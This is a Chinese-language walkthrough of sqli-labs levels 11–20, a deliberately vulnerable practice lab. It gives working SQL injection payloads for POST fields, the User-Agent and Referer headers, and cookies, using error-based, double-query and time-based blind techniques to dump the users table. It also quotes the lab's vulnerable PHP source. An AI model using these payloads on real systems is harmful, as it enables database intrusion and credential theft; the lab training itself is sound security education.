sqli-labs教程——Less 11-20 Page-1 Basic Challenges
- 准备工具
- Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
- Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
- Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)
- Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)
- Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
- Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
- Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
- Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
- Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
- Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
准备工具
从Less11开始,用到了POST型的注入,可能会用到burpsuite、浏览器中的hackbar等工具。
burpsuite下载链接:
burpsuite v2020.12.1(新版已经取消HEX等功能,需要在老版本中使用)
burpsuite v2020.8
Firefox渗透测试版本下载:https://download.csdn.net/download/qq_25649867/14883439
Firefox解压后即可使用,里面包含多种插件
上图是Firefox中hackbar的界面
- Load URL:获得当前页面URL
- Execute:执行,编辑好URL和各种信息可以进行执行(快捷键为ctrl + enter)
- Post data:编辑post传参的内容
- Referrer:编辑referrer的内容
- 0xHEX:可以对所选内容进行十六进制编码
- 选中后,点击右箭头即为编码
- 选中后,点击左箭头即为解码
- %URL:可以对所选内容进行URL编码,操作方式与十六进制相同
- BASE64:可以对所选内容进行BASE64编码。操作方式与十六进制相同
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
1. 判断是否有注入点
首先在浏览器中打开hackbar,并打开Post data
在username和password中随意输入内容,例如:admin, 123
可以在Post data中查看到Post参数内容
2. 判断闭合字符
uname=admin’ &passwd=123&submit=Submit
输入单引号,页面报错信息如下所示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘123’ LIMIT 0,1’ at line 1
也可以将单引号放在passwd中,页面报错信息会更加清晰
uname=admin&passwd=123’&submit=Submit
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘123’’ LIMIT 0,1’ at line 1
’ ’ 123’ ’ LIMIT 0,1 ’
可以确定闭合字符为单引号
3. 判断当前页面中SQL语句的查询列数
uname=admin&passwd=123’ order by 2 #&submit=Submit
可以确定列数为2
4. 判断数据在页面中回显位置和SQL语句中回显位
uname=admin&passwd=1’ union select database(),version()#&submit=Submit
5. 判断当前页面连接的数据库名称
uname=admin&passwd=1’ union select database(),version()#&submit=Submit
得到数据库名称为security
6. 显示security数据库中所有表名称信息
uname=admin&passwd=1’ union select group_concat(’~’,table_name),version() from information_schema.tables where table_schema=‘security’#&submit=Submit
7. 判断users表的列名称信息
uname=admin&passwd=1’ union select group_concat(’~’,column_name),version() from information_schema.columns where table_name=‘users’ and table_schema=‘security’#&submit=Submit
8. 查询users表的所有信息
uname=admin&passwd=1’ union select group_concat(’’,id,’’,username,’~’,password),version() from security.users#&submit=Submit
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
1. 判断是否有注入点
在username和password中随意输入内容,例如admin,1
可以在Post data中查看到Post参数内容
2. 判断闭合字符
uname=admin")&passwd=1&submit=Submit
输入"),页面报错信息如下所示:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘") and password=(“1”) LIMIT 0,1’ at line 1
可以在password=(“1”)可以看出闭合字符为("")
3. 判断当前页面中SQL语句的查询列数
uname=admin") order by 2#&passwd=1&submit=Submit
可以确定列数为2
4. 判断数据在页面中回显位置和SQL语句中回显位
uname=1") union select @@datadir,version()#&passwd=1&submit=Submit
5. 判断当前页面连接的数据库名称
uname=1") union select database(),version()#&passwd=1&submit=Submit
得到数据库名称为security
6. 显示security数据库中所有表名称信息
uname=1") union select group_concat(’~’,table_name),version() from information_schema.tables where table_schema=‘security’#&passwd=1&submit=Submit
7. 判断users表的列名称信息
uname=1") union select group_concat(’~’,column_name),version() from information_schema.columns where table_schema=‘security’ and table_name=‘users’#&passwd=1&submit=Submit
8. 查询users表的所有信息
uname=1") union select group_concat(’’,id,’’,username,’~’,password),version() from security.users#&passwd=1&submit=Submit
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)
1. 判断是否有注入点
首先在浏览器中打开hackbar,并打开Post data
在username和password中随意输入内容,例如:admin, 123
可以在Post data中查看到Post参数内容
2. 判断闭合字符
uname=admin’)&passwd=1&submit=Submit
输入’),页面报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’) and password=(‘1’) LIMIT 0,1’ at line 1
可以在 password=(‘1’)可以看出闭合字符为('')
3. 判断当前页面中SQL语句的查询列数
uname=admin’) order by 2#&passwd=1&submit=Submit
可以确定列数为2
4. 判断数据在页面中回显位置和SQL语句中回显位
uname=1’) union select @@datadir,version()#&passwd=1&submit=Submit
并没有提示信息,根据题目,可以尝试使用双查询注入.
5. 判断当前页面连接的数据库名称
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select database()),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
得到数据库名称为security
6. 显示security数据库中所有表名称信息
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
修改limit 0,1为limit 3,1,可以获得users表名
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
7. 判断users表的列名称信息
获得id列名称:
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
获得username列名称:
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
获得password列名称:
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 2,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
8. 查询users表的所有信息
uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit
通过修改limit,可以查询用户信息,不再过多展示。
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)
1. 判断是否有注入点
首先在浏览器中打开hackbar,并打开Post data
在username和password中随意输入内容,例如:admin, 123
可以在Post data中查看到Post参数内容
2. 判断闭合字符
uname=admin")&passwd=1&submit=Submit
输入"),页面报错信息如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘)" and password=“1” LIMIT 0,1’ at line 1
在password=“1”,可以看出闭合字符为""
3. 判断当前页面中SQL语句的查询列数
uname=admin" order by 2#&passwd=1&submit=Submit
可以确定列数为2
4. 判断数据在页面中回显位置和SQL语句中回显位
uname=1" union select 1,2#&passwd=1&submit=Submit
并没有提示信息,根据题目,可以尝试使用双查询注入。
这次尝试使用updatexml函数进行报错查询。
5. 判断当前页面连接的数据库名称
uname=-1" and updatexml(1,concat(’~’,(select database()),’~’),1)#&passwd=1&submit=Submit
得到数据库名称为security
6. 显示security数据库中所有表名称信息
uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’!’),1)#&passwd=1&submit=Submit
可以获得security数据库中的所有表名称信息
7. 判断users表的列名称信息
uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’!’),1)#&passwd=1&submit=Submit
可以获得users表的所有列名称信息
8. 查询users表的所有信息
uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,id,username,password) from security.users),’!’),1)#&passwd=1&submit=Submit
可以获得users表中的内容,因报错内容具有一定的长度限制,建议使用concat_ws函数配合limit进行单独查看。例如:
uname=-1" and updatexml(1,concat(’!’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’!’),1)#&passwd=1&submit=Submit
Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
1. 判断注入点和闭合字符
经过多次尝试,uname和passwd中输入随意内容与单引号,都仅仅只有报错页面,所以此时考虑使用时间延迟注入。
构造注入如下注入:
uname=1' and sleep(3)#&passwd=1&submit=Submit
uname=1&passwd=1' and sleep(3)#&submit=Submit
uname=1"and sleep(3)#&passwd=1&submit=Submit
uname=1&passwd=1" and sleep(3)#&submit=Submit
很不巧,更换输入内容和闭合字符均失效。
考虑修改一下uname的内容,将其内容更换为admin:
uname=admin&passwd=1' and sleep(3)&submit=Submit
这个注入方法依旧是没有所预想的时间延迟,将sleep(3)换到uname中。
uname=admin’ and sleep(3)#&passwd=1&submit=Submit
使用浏览器查看时间线,时间大于3秒,说明注入成功,闭合字符为单引号。
2. 判断当前页面连接的数据库名称长度
uname=admin’ and if(length(database()=8),sleep(3),0)#&passwd=1&submit=Submit
时间大于3秒,数据库长度为8。
3. 判断数据库名称
首先判断第一个字符
uname=admin’ and if(ascii(substring(database(),1,1))=115,sleep(3),0)#&passwd=1&submit=Submit
数据库名称的第一个字符的ASCII码为115,对应的字母为s
修改substring函数中的参数,来继续获取数据库名称的其他字符,最终得到数据库名称为:security
4. 判断security数据库中的表名称信息
uname=admin’ and if(ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1) ,1,1))=117,sleep(3),0)#&passwd=1&submit=Submit
可以获得数据库security的第4个表的第一个字符的ASCII码为117,对应的字母为u,也就是users表。
5. 判断users表的列名称信息
uname=admin’ and if(ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1) ,1,1))=105,sleep(3),0)#&passwd=1&submit=Submit
获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。修改limit和substring的参数,可以逐步获得users表的全部列信息:id、username、password。
6. 查询users表的信息
获取username列的第2个字段的第3个字符的值:
uname=admin’ and if(ascii(substring((select username from security.users limit 1,1) ,3,1))=103,sleep(3),0)#&passwd=1&submit=Submit
获取到的结果是g,对应的是Angelina。
7. 总结
现在来看一下,寻找注入点并判断闭合字符中,为何仅仅在uname使用admin,并且sleep()等函数需要放在uname中才可以进行注入。
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
uname和passwd的输入内容都没有做过滤,可以放心构造语句。
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
以上是Less-15中仅有的SQL语句,最明显的是可以看出闭合字符为单引号,其次发现已经和之前的SQL语句不同,这次是限定了查找的列内容。
执行以下mysql语句,验证以下结果
mysql> use security;
Database changed
mysql> SELECT username, password FROM users WHERE username='admin' and sleep(3)#' and password='1' LIMIT 0,1 ;
-> ;
Empty set (3.00 sec)
mysql> SELECT username, password FROM users WHERE username='admin' and password='1' and sleep(3)#' LIMIT 0,1 ;
-> ;
Empty set (0.00 sec)
当password=1的时候,前面查询内容为空,不满足条件,所以sleep(3)无法执行。
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
1. 判断注入点和闭合字符
uname=admin") and 1=1#&passwd=1&submit=Submit
uname=admin") and 1=2#&passwd=1&submit=Submit
因页面已经不给报错信息,所以要进行尝试。当使用"),并且1=1和1=2返回的页面有差异,所以确定闭合符号为")。
2. 判断数据库名称长度
uname=admin") and length(database())=8#&passwd=1&submit=Submit
经过尝试,数据库名称长度为8.
3. 判断数据库名称
首先判断第一个字符
进行字符提取的时候,大小写字符返回相同的结果,所以使用ASCII码来进行判断会更加准确。
uname=admin") and ascii(substring(database(),1,1))=115#&passwd=1&submit=Submit
可知数据库名称的第1个字符是s,对应的数据名称为:security
4. 判断security数据库中的表名称信息
uname=admin") and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 2,1),1,1))=117#&passwd=1&submit=Submit
当使用limit 2,1,第一个字符为u,也就是对应的users表
5. 判断users表的列名称信息
uname=admin") and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=105#&passwd=1&submit=Submit
获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。
6. 查询users表的信息
uname=admin") and ascii(substring((select username from security.users limit 0,1),1,1))=68#&passwd=1&submit=Submit
获取到username列的第1个字段的第1个字符的ASCII码是68,对应字母是D,也就是Dumb。
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
1. 判断注入点和闭合字符
uname=admin'&passwd=1&submit=Submit
uname=admin"&passwd=1&submit=Submit
uname=admin')&passwd=1&submit=Submit
uname=admin")&passwd=1&submit=Submit
都显示如下界面:
被嘲讽了…………
所以尝试从password进行入手:
uname=admin&passwd=1’&submit=Submit
在passwd中进行尝试,终于有了不同的显示页面,可以确定注入点在passwd。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin’’ at line 1
通过提示,可以判断闭合字符是单引号。
2. 判断当前页面中SQL语句的查询列数
从题目可以看出,这是修改密码的SQL语句,所以使用的是update语句,而updata不支持order by的配合。结果如下:
uname=admin&passwd=1’ order by 1#&submit=Submit
3. 判断当前页面连接的数据库名称
这里尝试使用update函数。
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select database()),’~’),1)#&submit=Submit
得到数据库名称为security
4. 显示security数据库中所有表名称信息
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’~’),1)#&submit=Submit
可以看到已经对可展示内容的长度进行了限制。
所以更改语句为
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),’~’),1)#&submit=Submit
可以查询到users表
5. 判断users表的列名称信息
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’~’),1)#&submit=Submit
6. 查询users表的信息
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’),1)#&submit=Submit
可以查看到报错信息,没能获取到users表的内容
那么这里尝试再加一层select
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select 1 from (select concat_ws(’~’,id,username,password) from security.users limit 0,1)),’~’),1)#&submit=Submit
结果出现如下错误:
Every derived table must have its own alias
最终修改语句为:
uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select * from (select concat_ws(’~’,id,username,password) from security.users limit 0,1)as a),’~’),1)#&submit=Submit
可以成功获得到users表的内容
7. 总结
此处新出现了update方法和其他问题,所以在此处查看一下源码,看看详细内容。
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
可以看出对uname进行了操作,而passwd并没有。
function check_input()函数
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
各个函数说明
- get_magic_quotes_gpc()函数
get_magic_quotes_gpc()函数会获取PHP中的环境变量magic_quotes_gpc的值。
返回0的时候,代表magic_quotes_gpc功能关闭
返回1的时候,代表magic_quotes_gpc功能打开
magic_quotes_gpc可以用来防止一些SQL注入,该功能在默认状态下是关闭的。如果把它打开,会自动把用户提交对SQL语句进行转换,可以把单引号、双引号、空字符等字符加上反斜线,这对防止SQL注入会有重大作用。
- stripslashes()函数
返回一个去除转义反斜线后的字符串(\'
转换为 '
等等)。双反斜线(\\
)被转换为单个反斜线(\
)。
- mysql_real_escape_string() 函数
mysql_real_escape_string()调用mysql库的函数 mysql_real_escape_string, 在下字符前添加反斜杠: \x00
, \n
, \r
, \
, '
, "
和 \x1a
.
- ctype_digit()函数
如果参数内容是一个十进制数字,就返回 TRUE
;反之就返回 FALSE
。
check_input()函数步骤
- 首先对输入内容
$value
是否为空进行判断 - 若不为空,提取
$value
的前15个字符 - 判断php配置内容中的
magic_quotes_gpc
功能是否开启 - 若开启
magic_quotes_gpc
功能,则返回一个去除转义反斜线后的$value
- 判断
$value
是否为十进制数字 - 若
$value
不是十进制数字,在$value
的首位加上单引号
可以看到Less-17是对uname进行了一系列的操作,来阻止SQL注入。而并没有对password进行阻止,所以考虑从password下手。
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
当uname被进行了一系列的操作之后,会被放入上述SQL语句中。
Less-17中,是先使用uname进行查询,若有查询结果后,才能执行后续的update语句。
所以进行注入的时候uname需要使用数据库中已经存在的用户,示例中的admin就在其中。
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
查看SQL语句,可以发现passwd的闭合字符为单引号。
当然平时练习,不推荐轻易查看源码哦!
ps.如果在练习过程中,不小心修改了数据库的内容信息,可以访问主页面
点击Setup/reset Database for labs,对数据库进行恢复
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
1. 判断是否有注入点
尝试在uname、password内容中判断闭合字符
但是界面都显示如下内容:
很大概率是在uname和password中都进行了输入内容的判断。使用admin、admin登陆后,查看内容。
页面显示了IP地址以及User-Agent的信息,并且考虑到题目的提示内容,推测User-Agent是注入点。抓包尝试更换User-Agent的内容,查看页面回显结果。
用burpsuite抓包,Ctrl + R,将内容发送到Repeater中,修改User-Agent的内容为User-Agent: Hello,SQL! ,点击send,在Response中点击Render,查看页面结果,结果如下图所示:
可以看到页面的回显信息已经变成了Hello,SQL!所以推测User-Agent就是注入点。
2. 判断闭合字符
User-Agent:1’
使用单引号,页面报错内容如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘172.20.10.2’, ‘admin’)’ at line 1
’172.20.10.2’, ‘admin’)'
所以可以确定闭合字符为单引号。
根据报错提示,以及后面两个参数的情况,确定闭合字符为单引号。并且从报错格式中推测几乎不可能为select,所以直接尝试使用updatexml函数,进行双查询注入。
3. 判断当前页面连接的数据库名称
根据之前报错提示,推测此处使用的SQL语句是insert into table (column_name1,column_name2,…) values (arg1,arg2,…)
对猜测进行检验,构造结果为:User-Agent:1’,2,3)#
可以查看到已经没有报错信息,说明此处推测的insert语句是正确的,接下来就可以正式构造SQL语句了。
构造内容:User-Agent: 1’,2,updatexml(1,concat(’~’,(select database()),’~’),1))#
得到数据库名称为security
4. 显示security数据库中所有表名称信息
User-Agent: 1’,2,updatexml(1,concat(’~’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’~’),1))#
报错内容显示不全,所以去掉group_concat函数,增加limit,逐个尝试。
User-Agent: 1’,2,updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’),1))#
当使用limit 3,1,获得的表名为users。
5. 判断users表的列名称信息
User-Agent: 1’,2,updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’~’),1))#
可以获得users表的列名称信息
6. 查询users表的信息
User-Agent: 1’,2,updatexml(1,concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’),1))#
7. 总结
查看一下原码,分析一下情况
首先是对输入内容的检验和操作,和Less-17中内容一样。
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
此处获取请求头中的User-Agent内容和IP地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
本题是对uname和passwd都进行了检查,这两处均无法进行注入,考虑上边代码获取的User-Agent
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
其余核心代码如下:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
首先,通过uname和passwd构造SQL查询语句,当只有具备查询结果的时候,才进行接下来的步骤,所以在构造数据包的过程中,uname、passwd所使用的admin都是碰巧在数据库中的常用信息。
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
………………
}
使用提取到的User-Agent、IP地址和uname构造insert语句,在security的uagents表中,插入新内容。
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
1. 判断是否有注入点
在uname、password内容中判断闭合字符,页面都返回相同的内容,图片如下所示
推断和Less-18类似,对uname和password进行了过滤,使用admin、admin登陆后,查看内容。
页面显示了IP地址和referer的信息,并且考虑到题目的提示内容,推测referer是注入点。抓包尝试更换referer的内容,查看页面回显结果。
Referer: hello,SQL!
可以看到页面的回显信息已经变成了Hello,SQL!所以推测Referer就是注入点。
2. 判断闭合字符
修改uname=admin;passwd=admin;Referer:1’,点击send,结果如下:
报错内容提示如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘192.168.101.13’)’ at line 1
通过报错内容,可以得知闭合字符为单引号。
3. 判断当前页面连接的数据库名称
根据报错提示,推测此处使用的SQL语句是insert into table (column_name1,column_name2,…) values (arg1,arg2,…)
首先猜测输入内容为两条,构造结果为:Referer: 1’,2)#
当构造Referer: 1’,2,3)#的时候,页面显示报错,所以可以确定传入数据库的参数为两条。报错信息如下:
开始构造语句,获取其数据库名称,构造内容:
Referer: 1’,updatexml(1,concat(’~’,(select database()),’~’),1))#
得到数据库名称为security
4. 显示security数据库中所有表名称信息
Referer: 1’,updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’),1))#
通过修改limit的内容,可以查看其余security数据库中的其他表名称信息。
5. 判断users表的列名称信息
Referer: 1’,updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),’~’),1))#
可以获得users表的列名称信息
6. 查询users表的信息
Referer: 1’,updatexml(1,concat(’~’,(select concat_ws(’|’,id,username,password) from security.users limit 0,1),’~’),1))#
通过修改limit,可以查看users表中的所有信息。
Less-19与Less-18很相似,差别不大,总结部分不再赘述。
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
1. 判断是否有注入点
在uname、passwd内容中判断闭合字符,页面都返回相同的内容,如图片所示:
应该是对uname和passwd都进行了过滤,先使用admin、admin进行登录,查看下内容
可以看到内容展示了请求头中的Host、User-Agent、Cookie,以及登录所用的用户名、密码以及ID值
点击**Delete Your Cookie!
**返回到登录页面。
使用burpsuite抓取请求头,查看其详细内容
可以查看到cookie的格式为 uname=用户名,uname和passwd都对输入内容进行了过滤,并且根据题目提示,注入点位于cookie中,所以修改cookie内容为1,观察结果
Cookie: uname=1
好吧,又被嘲讽了……
不过起码知道了注入点位于cookie
2. 判断闭合字符
Cookie: uname=1’
使用单引号,页面报错内容如下:
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
’ ’ 1’ ’ LIMIT 0,1 ’
所以可以确定闭合字符为单引号。
3. 判断当前页面中SQL语句的查询列数
Cookie: uname=1’ order by 3#
通过尝试可以得知当前页面中SQL语句的查询列数为3
4. 判断数据在页面中的回显位置和SQL语句中回显位
Cookie: uname=1’ union select @@datadir,version(),user()#
可以看到这次十分老实的就交出了各个回显位置。
5. 判断当前页面连接的数据库名称
Cookie: uname=1’ union select database(),version(),user()#
得到数据库名称为security
6. 判断数据库中的表名称信息
Cookie: uname=1’ union select version(),group_concat(’~’,table_name),user() from information_schema.tables where table_schema=‘security’#
可以成功获取到security数据库的所有表名称信息
7. 判断users表的列名称信息
Cookie: uname=1’ union select version(),group_concat(’~’,column_name),user() from information_schema.columns where table_schema=‘security’ and table_name=‘users’#
可以成功获取到users表的所有列名称信息
8. 查询users表的所有信息
Cookie: uname=1’ union select version(),group_concat(’’,id,’’,username,’~’,password),user() from security.users#
可以成功获取到users表中所有的内容信息
9. 总结
除了cookie注入点的判断之外,整个的注入过程仿佛梦回Less-1。
首先,查看一下对uname、passwd的过滤内容
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,20); // truncation (see comments)
}
if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
{
$value = stripslashes($value);
}
if (!ctype_digit($value)) // Quote if not a number
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
发现和Less-17和Less-18内容一样,不再赘述。
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
………………
看到对uname、passwd进行了检测内容,所以需要从其他地方寻找注入点。
并且SQL语句需要能够成功查找到内容后,才会执行后续步骤,所以用户名和密码需要输入已经在数据中的内容,不然无法登陆并且会报错。
$cookee
是将刚才所查询到的username内容赋值进去。
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
echo "</font>";
echo '<font color= "#0000ff" font size = 3 >';
//echo 'Your Cookie is: ' .$cookee;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
如果可以成功查询到内容,则创建cookie,cookie生效时间是3600秒,cookie的格式为uname=$cookee
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
………………
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
………………
可以看到此处的SQL是通过$cookee
进行的查询,没有对$cookee
进行过滤,所以此处就是注入点,并且闭合字符为单引号。